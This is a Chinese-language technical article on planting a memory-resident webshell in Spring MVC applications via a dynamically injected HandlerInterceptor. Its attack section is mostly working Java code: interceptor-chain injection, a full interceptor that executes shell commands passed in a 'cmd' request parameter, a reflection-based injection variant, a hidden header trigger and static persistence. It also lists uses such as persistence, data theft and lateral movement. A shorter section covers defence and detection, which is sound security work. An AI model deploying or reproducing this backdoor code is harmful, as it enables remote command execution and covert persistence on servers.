利用 intercetor 注入 spring 内存 webshell
字数 1549 2025-08-10 08:29:06
Spring内存Webshell注入技术研究:基于Interceptor的实现
1. 技术背景
Spring框架中请求处理流程涉及多个层次,Interceptor作为其中关键一环,位于DispatcherServlet和Controller之间。与Filter型内存Webshell相比,基于Interceptor的实现具有以下特点:
- 更接近业务逻辑层,可获取更丰富的上下文信息
- 与Spring框架深度集成,可利用Spring特性
- 绕过传统WAF/IDS对Filter层的监控
2. 技术原理
2.1 Spring请求处理流程
- DispatcherServlet:前端控制器,接收所有请求
- HandlerMapping:确定请求对应的处理器
- HandlerInterceptor:拦截器链执行(核心注入点)
- Controller:业务逻辑处理
2.2 关键注入点分析
Interceptor在HandlerAdapter调用Controller前后执行,主要接口方法:
boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView)
void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
3. 技术实现
3.1 动态注册Interceptor
通过修改Spring上下文动态添加恶意Interceptor:
// 获取当前应用的上下文
WebApplicationContext context = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
// 获取适配器注册表
HandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取原有拦截器链
List<HandlerInterceptor> interceptors = new ArrayList<>(Arrays.asList(handlerMapping.getInterceptors()));
// 添加恶意拦截器
interceptors.add(new MaliciousInterceptor());
handlerMapping.setInterceptors(interceptors.toArray(new HandlerInterceptor[0]));
3.2 恶意Interceptor实现
完整Webshell实现示例:
public class MaliciousInterceptor implements HandlerInterceptor {
private final String password = "cmd";
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter(password);
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
response.getWriter().write(output.toString());
return false; // 拦截请求,不继续传递
} catch (Exception e) {
response.getWriter().write("Error: " + e.getMessage());
return false;
}
}
return true; // 正常请求继续传递
}
}
4. 高级技术变种
4.1 反射注入技术
在不直接修改Interceptor链的情况下通过反射注入:
Field interceptorsField = AbstractHandlerMapping.class.getDeclaredField("interceptors");
interceptorsField.setAccessible(true);
HandlerInterceptor[] original = (HandlerInterceptor[]) interceptorsField.get(handlerMapping);
HandlerInterceptor[] newInterceptors = Arrays.copyOf(original, original.length + 1);
newInterceptors[original.length] = new MaliciousInterceptor();
interceptorsField.set(handlerMapping, newInterceptors);
4.2 条件触发机制
实现隐蔽的触发条件:
String triggerHeader = request.getHeader("X-Token");
if ("SPECIAL_VALUE".equals(triggerHeader)) {
// 执行恶意代码
}
4.3 内存驻留技术
通过静态变量保持Webshell持久化:
public class InterceptorHolder {
public static HandlerInterceptor maliciousInterceptor = new MaliciousInterceptor();
}
5. 防御与检测
5.1 防御措施
- Interceptor白名单:只允许已知Interceptor注册
- 运行时监控:检测Interceptor链的异常修改
- 代码签名:验证Interceptor类的来源
5.2 检测方法
-
动态检测:
HandlerMapping hm = context.getBean(RequestMappingHandlerMapping.class); HandlerInterceptor[] interceptors = hm.getInterceptors(); // 检查每个Interceptor的类加载路径和签名 -
静态分析:
- 检查Spring配置文件中非标准Interceptor定义
- 扫描代码中HandlerMapping.setInterceptors调用
-
行为监控:
- 记录所有Interceptor的preHandle返回false的请求
- 监控异常的输出流写入操作
6. 技术对比
| 特性 | Filter型Webshell | Interceptor型Webshell |
|---|---|---|
| 执行阶段 | Servlet容器层面 | Spring MVC层面 |
| 上下文信息获取 | 有限 | 丰富(Handler, Model等) |
| 检测难度 | 较易 | 较难 |
| 依赖框架 | Servlet API | Spring MVC |
| 内存驻留能力 | 强 | 强 |
7. 实际利用场景
- 权限维持:在已攻陷的Spring应用中保持持久访问
- 数据窃取:拦截特定请求获取敏感数据
- 命令控制:通过特定参数执行服务器命令
- 横向移动:作为跳板攻击内网其他系统
8. 总结
Interceptor型内存Webshell技术利用Spring MVC框架特性,实现了高度隐蔽的后门植入。相比传统Filter型Webshell,它具有更强的框架集成性和上下文感知能力。防御方面需要结合静态配置检查、运行时监控和行为分析等多种手段。